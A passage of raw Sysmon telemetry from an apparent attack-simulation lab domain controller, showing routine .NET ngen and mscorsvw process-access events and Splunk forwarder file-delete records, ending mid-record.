14:44:54.457{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A609-00000000F001}6180C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.457{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A609-00000000F001}6180C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.417{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A509-00000000F001}3480C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.407{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A509-00000000F001}3480C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.407{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A509-00000000F001}3480C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.367{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A409-00000000F001}6176C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.357{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A409-00000000F001}6176C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.357{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A409-00000000F001}6176C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.317{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A309-00000000F001}4928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.307{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A309-00000000F001}4928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.307{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A309-00000000F001}4928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.297{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=474061E2174EA6C29E8FBDF658E69B08,SHA256=9499DCE2377C550A4B8B0C5CB2469045C31CECAC812C6CBD6B5DE196F843F775,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.257{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A209-00000000F001}4960C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.237{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A209-00000000F001}4960C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.237{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A209-00000000F001}4960C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.197{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A109-00000000F001}6152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.188{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A109-00000000F001}6152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.188{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A109-00000000F001}6152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.177{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB00FA3627B4DFF16C4CC8CB735B2C8B,SHA256=4422468FDC73596A2F428D3B04011ED305AFAC01DA85B1AD1D67BBB895744A5D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.137{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A009-00000000F001}6240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.127{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A009-00000000F001}6240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.127{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A009-00000000F001}6240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.094{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-9F09-00000000F001}6948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.077{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-9F09-00000000F001}6948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.077{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-9F09-00000000F001}6948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\M